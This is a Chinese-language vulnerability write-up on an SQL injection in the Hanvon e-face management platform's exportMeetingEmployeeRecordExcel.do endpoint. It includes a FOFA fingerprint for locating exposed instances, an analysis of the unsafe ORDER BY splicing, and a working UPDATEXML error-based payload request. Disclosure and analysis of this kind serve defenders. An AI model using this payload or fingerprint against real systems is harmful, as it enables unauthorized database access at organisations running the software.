漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 exportMeetingEmployeeRecordExcel.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 MobiMeetingAppController 里关于 exportMeetingEmployeeRecordExcel 的实现
@ResponseBody
@RequestMapping(
value = {"exportMeetingEmployeeRecordExcel.do"},
method = {RequestMethod.GET}
)
public MethodResult exportMeetingEmployeeRecordExcel(@RequestParam(required = true,value = "meetingId") Long meetingId, @RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "name") String name, @RequestParam(required = false,value = "department") Long department, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order, @RequestHeader(required = false,value = "token") String token, @RequestParam(required = false,value = "state") Integer state, HttpServletResponse response) {
MethodResult methodResult = new MethodResult();
MethodResult rst = this.getTokenUser(token);
if (rst.isSuccess()) {
UserTpm user = (UserTpm)rst.getResult();
try {
if (page == null) {
page = Constants.DEFAULT_START_PAGE_INDEX;
}
if (pageSize == null) {
pageSize = 9999;
}
MeetingEmployeeParam param = new MeetingEmployeeParam();
param.setMtId(meetingId);
param.setMeName(name);
param.setMeDepartment(department);
if (state != null) {
if (state == 5) {
param.setMeLeaveEarly((byte)3);
} else if (state == 6) {
param.setMeLeaveEarly((byte)1);
} else {
param.setMeSigninState(state.byteValue());
}
}
param.setColumnKey(columnKey);
param.setOrder(order);
PageHelper.startPage(page, pageSize);
List<MeetingEmployeeTpm> list = this.meetingAsm.queryMeetingEmployee(param);
MeetingTpm meeting = this.meetingAsm.getMeetingById(meetingId);
和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 MeetingEmployeeDsm.xml
<!--查询参会人员列表-->
<select id="queryMeetingEmployee" parameterType="com.hanvon.iface.tpm.meeting.param.MeetingEmployeeParam" resultMap="ResultMapVO">
select MME.ID, MME.MT_ID, MME.ME_ID, MME.ME_NUMBER, MME.ME_NAME, MME.ME_SIGNIN_STATE, MME.ME_SIGNIN_TIME,
MME.ME_SIGNIN_PATH ,SB.SZ_NAME AS MEDEPARTMENTNAME,MME.ME_ISSUE_STATE AS MEISSUESTATE,MME.ME_SIGNOUT_TIME,ME_LEAVE_EARLY,su.sz_photo_path as photoPath
from mt_meeting_employee MME
LEFT JOIN SYS_BRANCH SB ON MME.ME_DEPARTMENT = SB.NG_ID
LEFT JOIN sys_user su on MME.ME_ID = su.ng_id
where MME.MT_ID = #{mtId}
<if test="meName != null and meName != ''">
and MME.ME_NAME like CONCAT('%',#{meName},'%')
</if>
<if test="meDepartment != null">
and SB.NG_ID = #{meDepartment}
</if>
<if test="meSigninState != null">
and MME.ME_SIGNIN_STATE = #{meSigninState}
</if>
<if test="meLeaveEarly != null">
and MME.ME_LEAVE_EARLY = #{meLeaveEarly}
</if>
<if test="meSigninStateList != null">
and MME.ME_SIGNIN_STATE IN
<foreach collection="meSigninStateList" item="meSigninStateList" index="index" open="(" separator="," close=")">
#{meSigninStateList}
</foreach>
</if>
<if test="meDate != null">
and MME.ME_SIGNIN_TIME > #{meDate,jdbcType=VARCHAR}
</if>
ORDER BY
<if test="order == null or order == ''">
MME.ME_SIGNIN_TIME desc
</if>
<if test="order != null and order != ''">
${columnKey} ${order}
</if>
</select>
用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。
漏洞复现
需要一个合法的 token,参考 wxLogin.do 信息泄露获取
需要 meetingId 参数存在
GET /manage/mobiMeetingApp/exportMeetingEmployeeRecordExcel.do?begin=&branchId=1&end=&page=1&pageSize=10&year=2025&meetingId=1&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(2920=2920,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net
token: xxxxxx

成功通过报错注入爆出数据库版本信息

